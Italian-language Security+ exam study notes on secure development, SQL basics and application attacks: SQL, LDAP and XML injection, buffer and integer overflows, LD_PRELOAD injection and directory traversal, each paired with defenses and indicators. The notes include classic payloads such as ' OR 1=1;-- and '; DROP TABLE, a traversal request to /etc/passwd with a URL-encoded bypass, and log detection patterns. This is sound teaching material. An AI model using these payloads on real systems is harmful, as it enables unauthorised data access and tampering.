        tightest access control
      QA
        all stages continuous
    Why Isolation Matters
      crash in dev stays in dev
        no prod data at risk
      migration bug in staging
        caught before real data
    Shift Left
      find bugs early
        cheaper to fix
        security from day one

Un secure development environment usa ambienti separati e isolati per ogni fase del ciclo di vita del software. Ogni stage è indipendente dagli altri — un bug in sviluppo non impatta la produzione.

Le cinque fasi:

StageScopoCaratteristiche
Developmentscrittura del codiceisolato da prod, version control attivo, accesso solo ai developer
Testverifica dei modulinon simula prod completa — hardware/software sufficienti per testare i moduli
Staginglate-stage testingcopia completa e indipendente di prod — trova i bug che impatterebbero il live
Productionambiente liveweb server, database, accesso internet — tutto il necessario per gli utenti finali
QA (Quality Assurance)processo continuopresente in tutti gli stage, dall'inizio alla fine del progetto

Perché l'isolamento è sicurezza:

Se dev e prod condividono lo stesso sistema, un crash durante i test può abbattere il servizio live. Se uno script di migration viene testato direttamente su prod e ha un bug, i dati reali vengono corrotti. L'isolamento per stage è la difesa contro questi scenari.

Parallelo concreto: in Symfony hai .env, .env.test, .env.prod — variabili diverse per ogni ambiente. Il database di test non è il database di prod. Le chiavi API di staging non sono quelle di produzione.

Developer → commit → [Development]test automatici → [Test] → QA → [Staging] → review → [Production]
                                         ↑                              ↑
                                    bug trovato qui               bug trovato qui
                                    → fix in dev                  → fix in dev
                                    non impatta prod              non impatta prod
Important

Exam tip: un secure development environment include più stage. Gli stage sono completati in ambienti separati e non di produzione. I metodi di QA vengono applicati in ciascuno degli stage.

Vettoreprocesso — deploy diretto in produzione senza testing in ambienti isolati
Causaassenza di separazione tra ambienti — un problema in dev/test raggiunge prod
Effetto volutobug, vulnerabilità o configurazioni errate che arrivano in produzione
Difesapipeline con stage separati e isolati, QA continua, nessun deploy diretto in prod
Indicatorecredenziali o configurazioni prod usate in dev, deploy che bypassano staging, assenza di testing environment
CIA TriadIntegrity / Availability — codice non testato in prod introduce vulnerabilità (I) o instabilità (A)
Scopeorganizzazione — tutti gli utenti del sistema in produzione

Database Concepts
#

mindmap
  root((Database
Concepts))
    Structure
      Table
        Column attribute type
        Row record tuple
        Field intersection value
    Schema
      Multiple tables
        junction table
        normalization
    Data Types
      INT VARCHAR TEXT DECIMAL
    SQL Language
      CRUD operations
        SELECT INSERT UPDATE DELETE

SQL (Structured Query Language, pronuncia "sequel") è il linguaggio usato per comunicare con i database. Le istruzioni SQL leggono, inseriscono, aggiornano ed eliminano dati. Molti siti web usano SQL per interagire con un database e fornire contenuto dinamico agli utenti.

Un database è un insieme strutturato di dati. Include tipicamente più tabelle, e ogni tabella contiene colonne e righe.

Struttura di una tabella:

TermineSinonimoCosa identifica
Column (colonna)Attributeil tipo di dato — nome, data type (INT, VARCHAR, TEXT)
Row (riga)Record, Tupleun singolo elemento — una persona, un libro, una transazione
Field (campo)l'intersezione di una riga e una colonna — il valore specifico

Esempio: nella tabella Author, la colonna FirstName identifica il tipo di dato. La riga 2 è il record di Moe Szylak. Il field è il valore Moe — quel singolo elemento nel secondo row della colonna FirstName.

           Column
AuthorID  FirstName  LastName   StreetAddress          City        State
1         Lisa       Simpson    742 Evergreen Terrace  Springfield  IDK  ← Row
2         Moe        Szylak     1313 Walnut Street     Springfield  IDK  ← Row
3         Ned        Flanders   744 Evergreen Terrace  Springfield  IDK  ← Row
              Field = "Moe"  (row 2, colonna FirstName)

Schema — relazioni tra tabelle:

erDiagram
    Book {
        INT BookID PK
        VARCHAR BookName
        VARCHAR ISBN
        TEXT Description
        DECIMAL Cost
        VARCHAR Publisher
        VARCHAR PublisherCity
    }
    BookAuthor {
        INT Book_BookID FK
        INT Author_AuthorID FK
        VARCHAR Publisher
    }
    Author {
        INT AuthorID PK
        VARCHAR FirstName
        VARCHAR LastName
        VARCHAR StreetAddress
        VARCHAR City
        VARCHAR State
        VARCHAR Zip
    }
    Book ||--o{ BookAuthor : "has"
    Author ||--o{ BookAuthor : "wrote"

BookAuthor è una junction table — crea la relazione many-to-many tra libri e autori. Un libro può avere più autori, un autore può aver scritto più libri. La tabella BookAuthor non dovrebbe esistere concettualmente — è lì per motivi di normalizzazione.

Normalizzazione — il processo di organizzare tabelle e colonne in un database per ridurre i dati ridondanti. Ogni informazione viene salvata in un solo posto — se cambia, si aggiorna una riga sola, non cento. Non è una difesa contro SQL injection: riguarda la struttura dati, non la sicurezza delle query.

Data types comuni:

  • INT — integer, numero intero
  • VARCHAR(n) — variable-length string, max n caratteri alfanumerici
  • TEXT — testo lungo (paragrafi, descrizioni)
  • DECIMAL — valori monetari con decimali

SQL Queries
#

mindmap
  root((SQL
Queries))
    CRUD Operations
      SELECT read
      INSERT create
      UPDATE modify
      DELETE remove
    Database Structure
      Tables
        columns fields
        rows records
      Normalization
        reduce redundant data
        junction table many-to-many
    SQL Injection
      string concatenation
        attacker injects SQL code
      or 1 equals 1
        always true returns all
      comment dash dash
        cuts off rest of query
    Defense
      prepared statements
        params as data never code
      stored procedures
      input validation

Le quattro operazioni SQL fondamentali (CRUD):

SELECT * FROM Books WHERE Author = 'Darril Gibson'  -- legge
INSERT INTO Books (Title, Author) VALUES ('Sec+', 'Gibson')  -- inserisce
UPDATE Books SET Price = 29.99 WHERE BookID = 1  -- modifica
DELETE FROM Books WHERE BookID = 1  -- elimina

* è un wildcard — restituisce tutte le colonne. WHERE filtra le righe.

Quando cerchi su Amazon, la web app costruisce un SELECT con il tuo termine di ricerca e lo manda al database. Il risultato viene formattato in HTML e restituito al browser.

SQL Injection
#

mindmap
  root((SQL
Injection))
    Root Cause
      string concatenation
        user input injected as SQL
        mad lib analogy
    Payloads
      or 1 equals 1
        always true all rows returned
      single quote closes string
        then inject new statement
      comment dash dash
        cuts trailing quote off
    Mad Lib
      SELECT FROM WHERE name equals
        Darril Gibson semicolon SELECT FROM Users
        comment ignores trailing quote
    Impact
      read all data
      modify delete data
      admin access

Il problema nasce quando il developer costruisce la query concatenando stringhe:

$query = "SELECT * FROM Books WHERE Author='" . $input . "'";

Sono tre pezzi fissi incollati insieme — come un mad lib:

"... WHERE Author='"  +  INPUT  +  "'"

Il primo e il terzo pezzo non cambiano mai. L'input va in mezzo. La ' finale è hardcoded nel codice — c'è sempre, qualunque cosa l'utente scriva.

Attacco 1 — seconda query iniettata:

L'attaccante scrive questo nel campo di ricerca del form, come testo normale:

Darril Gibson'; SELECT * FROM Customers;--

Input dell'attaccante: Darril Gibson'; SELECT * FROM Customers;--

"... WHERE Author='"  +  "Darril Gibson'; SELECT * FROM Customers;--"  +  "'"

Query risultante:

SELECT * FROM Books WHERE Author='Darril Gibson'; SELECT * FROM Customers;--'
                                                                          ↑↑
                              ; termina la prima query          -- commenta la ' finale

La prima query gira normalmente. Il ; segnala fine riga — il database accetta un secondo comando. SELECT * FROM Customers restituisce tutti i clienti con dati, carte di credito incluse. Il -- commenta la ' spaiata finale — senza di esso ci sarebbe un errore di sintassi.

Attacco 2 — OR 1=1 (always true):

Input: ' OR 1=1;--

"... WHERE name='"  +  "' OR 1=1;--"  +  "'"

Query risultante:

SELECT * FROM Customers WHERE name='' OR 1=1;--'

Il ' nell'input chiude subito la stringa aperta dal template — name='' (stringa vuota). Poi OR 1=1 diventa una condizione separata. Poiché 1 è sempre uguale a 1, la condizione è sempre vera — il SELECT restituisce ogni riga della tabella.

-- si comporta come due SELECT in OR:
SELECT * FROM Customers WHERE name=''    -- nessun risultato (nessuno ha nome vuoto)
SELECT * FROM Customers WHERE 1=1        -- tutti i record (sempre vero)

Bonus — error-based SQLi:

Se l'app non ha error handling, mandare SQL malformato genera errori che rivelano il tipo di database (MySQL, Oracle, SQL Server), versioni, nomi di tabelle. Punto di partenza classico per mappare il database prima di estrarre dati.

Difese contro SQL Injection
#

mindmap
  root((SQLi
Defenses))
    Input Validation
      block special chars
        semicolon quote dash
    Prepared Statements
      template with placeholders
        DB treats params as data
        never as SQL code
    Stored Procedures
      pre-compiled SQL in DB
        no concatenation at runtime
    SIEM Detection
      Wazuh rule level 12
        T1190 pattern or 1 equals 1
        alert if sid 31108

1. Input validation — verifica che l'input contenga solo caratteri attesi. Un nome autore non dovrebbe mai contenere ;, ', --.

2. Stored procedures / Prepared statements — non si costruisce la query come stringa. Si usa un template con placeholder:

// PHP — prepared statement con PDO
$stmt = $pdo->prepare("SELECT * FROM Books WHERE Author = ?");
$stmt->execute([$input]);
// Node — prepared statement
const [rows] = await db.execute("SELECT * FROM Books WHERE Author = ?", [input]);

Il database riceve la query e i parametri separatamente. L'input viene trattato sempre come dato, mai come codice SQL. Anche se l'attaccante inserisce '; DROP TABLE Books;--, il database cerca un autore con quel nome letterale — non esegue nulla.

Con una stored procedure parametrizzata, l'input Darril Gibson'; SELECT * FROM Customers;-- diventa la stringa di ricerca letterale. Il database cerca libri il cui autore si chiama esattamente Darril Gibson'; SELECT * FROM Customers;-- — non trova nulla, query vuota.

Important

Exam tip: SQL injection passa query malevole al database attraverso il web server. 'or 1=1 è il payload classico per forzare una condizione sempre vera. Le difese sono input validation e stored procedures / prepared statements.

Vettoreapplicazione web — form input non validato inserito direttamente in query SQL
Causaconcatenazione di stringhe per costruire query — l'input viene trattato come codice
Effetto volutoleggere, modificare o eliminare dati dal database; estrarre credenziali
Difesainput validation, prepared statements / stored procedures parametrizzate, ORM
Indicatorecaratteri ', ;, -- nei log delle query, errori SQL esposti nelle response HTTP, query con OR 1=1 nei log WAF
CIA TriadConfidentiality / Integrity — lettura di dati riservati (C) e modifica o cancellazione di dati (I)
Scopedatabase — tutti i dati accessibili dall'account con cui l'app si connette al DB

Web Server Logs
#

mindmap
  root((Web Server
Logs))
    What is Logged
      every HTTP request
        IP timestamp path response code
      normal and malicious
    SQLi Patterns
      or 1 equals 1
      UNION SELECT DROP TABLE
      500 error signals
        query error means attacker mapping
    SIEM Integration
      nginx Apache to Wazuh
        rule triggers on pattern
        alert level 12 critical
    Blue Team Value
      IP of attacker
      time of attempt
      what they tried

I web server log registrano tutta l'attività sul server: ogni HTTP request degli utenti e le response del server. Includono traffico normale e traffico anomalo — inclusi i tentativi di attacco descritti in questo capitolo.

Gli amministratori hanno accesso ai log solo dei server che controllano — non puoi accedere ai log di Google o Amazon.

SQLi nei log:

Se sospetti un attacco SQL injection, cerchi nei log pattern caratteristici:

  • 'or 1=1
  • '; SELECT
  • -- alla fine di parametri
  • UNION SELECT, DROP TABLE
192.168.1.50 - - [10/Jun/2026:09:14:22] "GET /search?q='or+1=1;-- HTTP/1.1" 200
192.168.1.50 - - [10/Jun/2026:09:14:23] "GET /search?q='; SELECT * FROM Users;-- HTTP/1.1" 500

Il 500 nella seconda riga è un segnale: la query malformata ha generato un errore — l'attaccante sta mappando il database tramite error-based SQLi.

SIEM — analisi centralizzata:

Invece di analizzare i log manualmente, i log del web server vengono inviati a un SIEM (Security Information and Event Management). Il SIEM viene configurato con regole che mandano alert automatici quando rileva pattern sospetti.

nginx/Apache → log → Wazuh (SIEM) → regola: se vede 'or 1=1 → alert CRITICO

Ad esempio In Wazuh potremmo fare una regola custom per identificare questi tipi di attacchi.

Vettoretecnica investigativa/difensiva — analisi dei log HTTP del web server
Causaogni request HTTP viene loggata, incluse quelle con payload malevoli
Effetto volutorilevare tentativi di attacco (SQLi, XSS, path traversal) e identificare l'IP sorgente
Difesacentralizzare i log su SIEM, regole di alerting su pattern noti
Indicatore'or 1=1, UNION SELECT, -- nei parametri delle request, spike di 500 errors da un singolo IP
CIA TriadConfidentiality — i log rivelano chi sta tentando cosa e quando
Scopeserver web — tutti i client che inviano request al server

Other Application Attacks
#

mindmap
  root((Application
Attacks))
    Memory Vulnerabilities
      Memory Leak
        malloc no free
        RAM grows forever
      Buffer Overflow
        beyond buffer boundary
        DoS privilege escalation
        NOP sled shellcode
      Integer Overflow
        wrap-around arithmetic
        silent wrong result
    Injection Attacks
      DLL Injection
        LD PRELOAD on Linux
        malicious so loaded
      SQL Injection
        or 1 equals 1
        stored procedures
      LDAP Injection
        like SQLi for Active Directory
      XML Injection
        premature tag close
      Directory Traversal
        dot dot slash navigation
        basename defense
    XSS
      Reflected
        URL parameter echoed
        server roundtrip
      Stored
        DB persistent
        all visitors affected
      DOM-based
        client side only
        fragment never reaches server
    Defense
      input validation primary
      CSP blocks injected scripts
      prepared statements
      patch management

Memory Vulnerabilities
#

mindmap
  root((Memory
Vulnerabilities))
    Memory Leak
      malloc no free
        RAM consumed over time
      System crash at extreme
      C C++ manual management
        PHP Node GC automatic
    Buffer Overflow
      input exceeds buffer size
        adjacent memory overwritten
      Memory Injection
        write malicious code
        NOP sled to shellcode
      DoS and Privilege Escalation
        EIP 0x41414141 in debugger
      Node allocUnsafe
        CVE-2016-4078
        residual data exposed
    Integer Overflow
      fixed-size integer
        value wraps around
        8 bit max 255 then 0
      Silent wrong result
        no error thrown
        e-commerce price exploit

Le vulnerabilità di memoria sfruttano una gestione scorretta della memoria nell'applicazione. In C/C++ la memoria non è gestita automaticamente — il developer alloca e libera manualmente. In linguaggi moderni (PHP, Node, Java, Python) il garbage collector gestisce questo automaticamente, rendendo queste vulnerabilità più rare ma non impossibili.

Memory Leak
#
mindmap
  root((Memory
Leak))
    Cause
      malloc without free
        RAM grows forever
    Impact
      performance degradation
        crash at extreme
    Languages
      C and C++ manual
        PHP Node GC automatic
    Indicator
      RAM usage grows
        slow until reboot

Un memory leak è un bug che causa un consumo crescente di memoria più a lungo gira l'applicazione. Nei casi estremi, l'applicazione consuma così tanta RAM che il sistema operativo crasha.

Causa: l'applicazione alloca memoria per uso temporaneo ma non la rilascia mai.

In C/C++ la gestione della memoria è manuale:

char *buffer = malloc(1024);  // alloca 1024 byte
// usa il buffer...
free(buffer);                  // libera — OBBLIGATORIO

Se il developer dimentica free(), quei byte rimangono occupati per sempre. Moltiplicato per ogni request HTTP, ogni ciclo, ogni utente — la RAM si riempie gradualmente.

Esempio: una web app raccoglie dati del profilo utente ad ogni accesso a una pagina per personalizzare l'esperienza — ma non rilascia mai la memoria usata per quei dati. Ogni visita accumula RAM senza liberarla.

Indicatore principale: sistema che diventa sempre più lento finché non viene riavviato. Rilevabile guardando l'utilizzo di memoria per applicazione nel Task Manager (Windows) o con top/htop (Linux).

Vettoreapplicazione — bug nel codice che non rilascia memoria allocata
Causamalloc() senza free() corrispondente in C/C++; oggetti non dereferenziati in linguaggi con GC
Effetto voluto(non intenzionale) degradazione delle performance fino al crash del sistema
Difesacode review, tool di analisi memoria (Valgrind), linguaggi con garbage collector
Indicatoreconsumo di RAM in crescita costante, sistema che rallenta progressivamente, crash risolto solo dal reboot
CIA TriadAvailability — il sistema crasha o diventa inutilizzabile
Scopesistema — il processo affetto e potenzialmente il sistema operativo intero
Buffer Overflows and Buffer Overflow Attacks
#
mindmap
  root((Buffer
Overflow))
    Trigger
      input exceeds buffer size
        adjacent memory overwritten
    Exploitation
      Memory Injection
        NOP sled to shellcode
      EIP overwrite
        0x41414141 in debugger
    Impact
      DoS crash
        Privilege Escalation
    Defense
      input validation
        boundary checking
        patch management

Un buffer overflow si verifica quando un'applicazione riceve più input (o input diverso) di quanto si aspetta. Il risultato è un errore che espone memoria di sistema normalmente protetta e inaccessibile.

Un'applicazione ha accesso solo a una specifica area di memoria — il suo buffer. Il buffer overflow permette di accedere a locazioni di memoria oltre quel confine, permettendo a un attaccante di scrivere codice malevolo in quella zona.

Esempio: un'applicazione si aspetta una stringa di 15 caratteri per lo username. Se riceve più di 15 caratteri e tenta di memorizzarli nel buffer, causa un overflow che espone la memoria di sistema:

GET /index.php?username=ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Buffer allocato:  [  15 byte  ]
Input ricevuto:   [ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ]
                    overflow — i byte in eccesso sovrascrivono
                    la memoria adiacente al buffer

Il buffer overflow espone la vulnerabilità, ma da solo non causa danno. Quando l'attaccante la scopre, la sfrutta sovrascrivendo locazioni di memoria con il proprio codice — tecnica nota come memory injection.

L'obiettivo tipico: inserire codice malevolo in una locazione di memoria che il sistema eseguirà. Non è semplice conoscere l'indirizzo esatto — l'attaccante fa tentativi educati per avvicinarsi. Gli indirizzi di memoria sono in esadecimale (0x41414141 = AAAA in ASCII — segnale classico di overflow riuscito nel debugger).

Caso reale in Node.js — memory disclosure:

Node.js non permette il classico buffer overflow (V8 gestisce la memoria e tronca silenziosamente), ma Buffer.allocUnsafe() espone un problema simile: alloca memoria non inizializzata che contiene dati residui di sessioni precedenti del processo server.

// alloca memoria NON inizializzata — contiene dati residui
const buf = Buffer.allocUnsafe(100);
console.log(buf.toString()); // puoi vedere dati di sessioni precedenti

// vulnerabilità reale — Node.js 2016 (CVE-2016-4078):
// new Buffer(size) era equivalente a allocUnsafe
// un attaccante mandava una request con size come numero intero
// il server rispondeva con 100 byte di memoria non inizializzata
// che potevano contenere credenziali, token, chiavi di altre sessioni

La RAM del processo server non viene pulita tra una sessione e l'altra — quei byte residui restano lì finché qualcosa non li sovrascrive. allocUnsafe li legge direttamente. È un memory disclosure: non esegui codice arbitrario, ma leggi memoria che non dovresti vedere.

Buffer.alloc(100);        // sicuro — zero-inizializzato
Buffer.allocUnsafe(100);  // pericoloso — non usare mai con input utente

Difese:

  • Error handling e input validation riducono il rischio ma non lo eliminano del tutto
  • Quando i vendor scoprono vulnerabilità di buffer overflow, rilasciano patch o hotfix rapidamente
  • Dal punto di vista dell'amministratore: mantenere i sistemi aggiornati con le patch correnti
Vettoreapplicazione — input che supera la dimensione del buffer allocato
Causaassenza di boundary checking — l'applicazione non verifica che l'input rientri nel buffer
Effetto volutoesporre memoria di sistema, iniettare codice malevolo (memory injection), eseguire codice arbitrario, privilege escalation (accesso a risorse con privilegi superiori)
Difesainput validation, boundary checking, patch management, linguaggi memory-safe
Indicatorecrash dell'applicazione su input lunghi, EIP = 0x41414141 nel debugger, errori di segmentation fault
CIA TriadIntegrity / Confidentiality / Availability — codice iniettato esegue azioni arbitrarie (I); memoria esposta rivela dati riservati (C); crash dell'applicazione o del sistema rende il servizio irraggiungibile — è anche un tipo di DoS attack (A)
Scopesistema — il processo affetto e potenzialmente l'intero sistema se viene eseguito codice privilegiato
Integer Overflow
#
mindmap
  root((Integer
Overflow))
    Cause
      value exceeds type limit
        wrap-around arithmetic
        no error thrown
    Example
      8 bit max 255
        256 becomes 0
        silent wrong result
    Risk
      price exploit
        negative or zero value

Un integer overflow si verifica quando un'applicazione riceve un valore numerico troppo grande per lo spazio allocato. Il risultato non è un crash — è un numero sbagliato silenzioso.

Esempio: 8 bit possono contenere valori da 0 a 255. Se moltiplichi 95 × 59 = 5.605 e tenti di salvarlo in 8 bit, il numero "avvolge" (wraps around) per aritmetica modulare:

5.605 mod 256 = 229

Il programma salva 229 invece di 5.605 — nessun errore visibile, risultato completamente sbagliato.

25511111111  (massimo 8 bit)
256100000000  (9 bit — il nono bit viene droppato → 00000000 = 0)
25700000001 = 1

Perché è pericoloso: un attaccante che conosce questo comportamento può manipolarlo. Caso classico nei videogiochi: overflow del punteggio che riporta il contatore a zero o a un valore negativo. In e-commerce: prezzo che overflow a 0 o negativo — prodotto gratis o rimborso.

In PHP e JavaScript non esiste questo problema — i numeri sono float o BigInt, non interi a dimensione fissa. In C, C++, Java, Rust invece gli interi hanno dimensione fissa e l'overflow è reale.

Difese: verificare la dimensione dei buffer numerici, input validation, error handling. Se l'applicazione non ha routine di eccezione adeguate, un integer overflow può passare silenziosamente inosservato.

Important

Exam tip buffer overflow: gli attacchi includono spesso istruzioni NOP (0x90) seguite da codice malevolo — la cosiddetta NOP sled. La CPU esegue i NOP (No Operation — non fa nulla, passa all'istruzione successiva) scivolando fino al codice malevolo. Questo rende l'attacco più facile perché l'attaccante non deve conoscere l'indirizzo esatto del codice — basta atterrare da qualche parte nella sled. Input validation aiuta a prevenire buffer overflow.

Vettoreapplicazione — valore numerico oltre il limite del tipo intero usato
Causaassenza di controllo sui limiti del tipo numerico — nessun errore, solo risultato errato
Effetto volutomanipolare calcoli (prezzi, punteggi, permessi) sfruttando il wrap-around aritmetico
Difesainput validation sui range numerici, tipi numerici adeguati alla dimensione attesa, error handling
Indicatorerisultati numerici anomali (valori negativi, valori vicini a 0 o a 2^n), comportamento inatteso su input grandi
CIA TriadIntegrity — i dati elaborati non corrispondono ai valori reali
Scopeapplicazione — colpisce i calcoli specifici dove avviene l'overflow

Injection Attacks
#

mindmap
  root((Injection
Attacks))
    DLL Injection
      shared object so on Linux
        ldd shows dependencies
        libcurl libssl libc
      LD PRELOAD attack
        malware.so loaded first
        overrides system functions
      Heartbleed CVE-2014-0160
        libssl out-of-bounds read
        64KB RAM per request
    SQL Injection
      string concatenation
        Darril Gibson semicolon SELECT
      or 1 equals 1
      Defense
        prepared statements
    LDAP Injection
      same as SQLi
        but for Active Directory
    XML Injection
      premature tag close
        inject new XML nodes
    Command Injection
      user input piped to shell
        shell_exec system exec PHP
      semicolon chains commands
        cat etc passwd
      Defense
        escapeshellarg wraps input
        use native API not shell
    Directory Traversal
      dot dot slash navigation
        access files outside webroot
      basename defense
        strips path keeps filename
      URL encoding bypass
        percent2e percent2e percent2f
DLL Injection
#
mindmap
  root((DLL
Injection))
    Concept
      shared library runtime
        ldd shows dependencies
        libssl libcurl libc
    Attack
      malicious so created
        LD PRELOAD on Linux
        overrides system functions
    Real Case
      Heartbleed CVE-2014-0160
        libssl out-of-bounds read
        64KB RAM per request

Una DLL (Dynamic Link Library) è un file compilato contenente funzioni riutilizzabili che un'applicazione carica in memoria a runtime invece di riscrivere il codice da zero. Su Linux e macOS si chiamano .so (shared object) o .dylib — stesso concetto, nome diverso.

Esempio concreto: libmysqlclient.so esiste una volta sul sistema. PHP, Python e Node la usano tutti dalla stessa copia in memoria — nessuno riscrive il codice per connettersi a MySQL.

# php.ini
extension=pdo_mysql.so   ← DLL caricata a runtime
extension=openssl.so

In Node: i package nativi come bcrypt, sharp, canvas usano librerie .so compilate sotto. Quando fai require('sharp'), Node carica una .so in memoria.

ldd mostra quali .so un binario usa a runtime:

barno@kali:~$ ldd /usr/bin/curl
    linux-vdso.so.1 (0x0000ffff8d2bd000)
    libcurl.so.4    => /usr/lib/aarch64-linux-gnu/libcurl.so.4
    libz.so.1       => /usr/lib/aarch64-linux-gnu/libz.so.1
    libc.so.6       => /usr/lib/aarch64-linux-gnu/libc.so.6
    /lib/ld-linux-aarch64.so.1
    ....

curl non include il codice HTTP, la compressione gzip o le funzioni C di base — le carica da libcurl.so, libz.so, libc.so. Il path aarch64-linux-gnu indica l'architettura ARM (Kali su Apple Silicon).

Heartbleed (CVE-2014-0160) — caso reale:

Una vulnerabilità di memory disclosure in libssl.so (OpenSSL). L'estensione "heartbeat" di TLS permetteva di leggere fino a 64KB di memoria del server per ogni request, senza autenticazione.

Quella memoria poteva contenere: chiavi private TLS, session token, password di altri utenti, qualsiasi dato passato recentemente dal processo.

Attaccante → heartbeat request: "rispondimi con 64KB"
Server      → risponde con 64KB di RAM del processo OpenSSL
              [sessione utente A, chiave privata, password in chiaro...]

Non era un buffer overflow in senso tradizionale — era un out-of-bounds read: il server leggeva oltre il buffer della request e restituiva memoria adiacente. Stesso principio di Buffer.allocUnsafe() in Node.

Perché la .so condivisa è cruciale qui: aggiornare libssl.so ha fixato simultaneamente Apache, nginx, PHP, Python, curl e tutto il resto. Tutti i processi che usavano OpenSSL erano vulnerabili — e tutti furono protetti con un solo aggiornamento del pacchetto. Circa il 17% di tutti i server HTTPS mondiali era esposto.

DLL injection: l'attaccante crea una DLL malevola e la inietta in un processo già in esecuzione. I passi:

  1. Crea malware.dll / malware.so con funzioni malevole
  2. Alloca memoria nel processo target
  3. Collega la DLL nella memoria allocata
  4. Esegue le funzioni della DLL nel contesto del processo

Il processo originale gira normalmente — ma ora esegue anche il codice dell'attaccante nel suo stesso spazio di memoria, con i suoi stessi permessi.

Su Linux — LD_PRELOAD:

export LD_PRELOAD=/tmp/malware.so
ls   # ls carica malware.so prima di qualsiasi altra libreria
     # le funzioni malevole sostituiscono quelle di sistema (read, write, connect...)

LD_PRELOAD dice al linker: "prima di caricare qualsiasi libreria, carica questa". Le funzioni della .so malevola sovrascrivono quelle originali — l'attaccante può intercettare connessioni, file, credenziali.

Vettoresistema — DLL malevola iniettata in un processo in esecuzione
Causai processi possono caricare librerie dinamiche esterne con i propri permessi
Effetto volutoeseguire codice malevolo nel contesto di un processo legittimo, ereditandone i permessi
Difesaapplication whitelisting, controllo integrità delle librerie, monitoraggio LD_PRELOAD, EDR
Indicatoreprocessi che caricano DLL da path inattesi, LD_PRELOAD impostato in ambiente, librerie .so in /tmp o path scrivibili
CIA TriadConfidentiality / Integrity — codice malevolo gira con i permessi del processo legittimo
Scopesistema — il processo iniettato e tutti i dati a cui ha accesso
LDAP Injection
#
mindmap
  root((LDAP
Injection))
    Target
      Active Directory
        users groups computers
    Same as SQLi
      string concatenation
        wildcard star bypass
        parenthesis close filter
    Defense
      input validation
        escape special chars

LDAP (Lightweight Directory Access Protocol) definisce i formati e i metodi per interrogare database di oggetti di rete — utenti, computer, gruppi. Microsoft Active Directory usa LDAP per accedere agli oggetti del dominio. Nel Mustache Project: mustache.corp su Samba AD risponde a query LDAP.

Una query LDAP normale ha questa sintassi:

(&(uid=homer)(department=helpdesk))

Cerca un utente con uid=homer nel reparto helpdesk. Se l'applicazione costruisce questa query concatenando l'input dell'utente (stesso problema di SQL injection):

query = "(&(uid=" + input + ")(department=helpdesk))"

Attacco: l'operatore ) chiude il filtro prematuramente, * è wildcard — restituisce tutti gli oggetti.

Input: *

(&(uid=*)(department=helpdesk))
    wildcard — restituisce tutti gli utenti del reparto

Input: homer)(uid=*

(&(uid=homer)(uid=*)(department=helpdesk))
        sempre vero — restituisce homer ignorando il filtro

Il risultato è analogo a OR 1=1 in SQL: il filtro viene aggirato e l'applicazione restituisce più dati di quanto dovrebbe.

Difesa: input validation — stesso principio di SQL injection. Caratteri speciali LDAP (*, (, ), \, NUL) vanno escapati prima di usarli nella query.

Sqli...

LDAP injection = SQL injection ma per directory service (Active Directory). Stesso vettore, stessa difesa (input validation), target diverso.

Vettoreapplicazione web — input non validato inserito in query LDAP
Causaconcatenazione di stringhe per costruire filtri LDAP — stesso problema di SQL injection
Effetto volutoaccedere a più oggetti del directory di quanto autorizzato (utenti, gruppi, computer)
Difesainput validation, escaping dei caratteri speciali LDAP
Indicatorequery LDAP con wildcard * o parentesi nei log, risposte anomalmente grandi dal directory service
CIA TriadConfidentiality — accesso non autorizzato a dati del directory (credenziali, struttura AD)
Scopedirectory service — potenzialmente tutti gli oggetti del dominio
XML Injection
#
mindmap
  root((XML
Injection))
    Mechanism
      close tag prematurely
        inject new XML nodes
    Result
      unexpected objects created
        second user account
    Defense
      input validation
        encode lt gt amp

XML (Extensible Markup Language) è un formato usato per trasferire dati tra sistemi. Molte web application usano XML per scambiare dati strutturati — API, configurazioni, messaggi tra servizi.

Un documento XML valido per la creazione di un utente:

<user>
  <username>Homer</username>
  <email>homer@simpson.com</email>
</user>

Attacco: l'attaccante inserisce tag XML nel campo email. Se non c'è input validation, i tag vengono interpretati come struttura XML valida invece che come testo:

Campo email inserito:
homer@simpson.com</email></user><user><username>Attacker</username><email>attacker@evil.com</email></user>

Il documento XML risultante:

<user>
  <username>Homer</username>
  <email>homer@simpson.com</email>
</user>
<user>
  <username>Attacker</username>
  <email>attacker@evil.com</email>
</user>

Il parser XML vede due blocchi <user> validi. In alcuni casi l'applicazione crea il secondo account (Attacker) e ignora il primo. Stesso meccanismo di SQL e LDAP injection: chiudi prematuramente la struttura e inietti nuovi elementi.

Schema comune a tutte le injection:

TipoStruttura iniettataChiusura prematura
SQL'; SELECT ...;--' chiude la stringa
LDAP*)(uid=*) chiude il filtro
XML</email></user><user>...</email></user> chiude i tag
XSS<script>...</script>tag HTML iniettati

Difesa: input validation — caratteri <, >, &, ", ' vanno HTML-encoded prima di inserirli in XML.

Indicatore principale: creazione di account inattesi — rilevabile solo con logging e auditing dettagliato.

Vettoreapplicazione — input con tag XML inserito in un documento XML
Causaassenza di input validation — i tag vengono interpretati come struttura, non come testo
Effetto volutomanipolare la struttura del documento XML — creare oggetti, modificare dati, bypassare logica
Difesainput validation, encoding dei caratteri speciali XML (<&lt;, >&gt;)
Indicatorecreazione di account o oggetti inattesi, anomalie nei log di audit
CIA TriadIntegrity — dati o oggetti creati/modificati senza autorizzazione
Scopeapplicazione — tutti i sistemi che processano il documento XML risultante
Directory Traversal
#
mindmap
  root((Directory
Traversal))
    Mechanism
      dot dot slash navigation
        climb outside webroot
    Bypass
      URL encoding
        percent2e percent2e
    Target Files
      etc passwd
        private keys config
    Defense
      basename strips path
        input validation blocks dots

Directory traversal è un tipo di injection attack che tenta di accedere a file al di fuori della directory prevista, includendo path di navigazione (../) nell'input.

Su Linux .. risale di un livello nella struttura delle directory. Un web server che serve file da /var/www/html/ — per arrivare a /etc/passwd servono due livelli su e poi giù in /etc/:

/var/www/html/  →  ../  →  /var/www/  →  ../  →  /var/  →  ../  →  /  →  etc/passwd

Esempio concreto — query parameter:

Il server ha questo codice PHP:

$file = $_GET['file'];
readfile('/var/www/html/' . $file);  // concatena senza validare

Request normale:

GET /view?file=report.pdf
→ /var/www/html/report.pdf  ✅

Attacco:

GET /view?file=../../../etc/passwd
→ /var/www/html/../../../etc/passwd
→ risolve a /etc/passwd  ← lista utenti del sistema

Bypass filtri con URL encoding:

Se il server filtra ../ come stringa letterale, l'attaccante usa l'equivalente URL-encoded:

%2e%2e%2f  =  ../

GET /view?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Il server decodifica l'URL prima di passarlo al filesystem — il filtro non vede ../, ma il path risolto è identico.

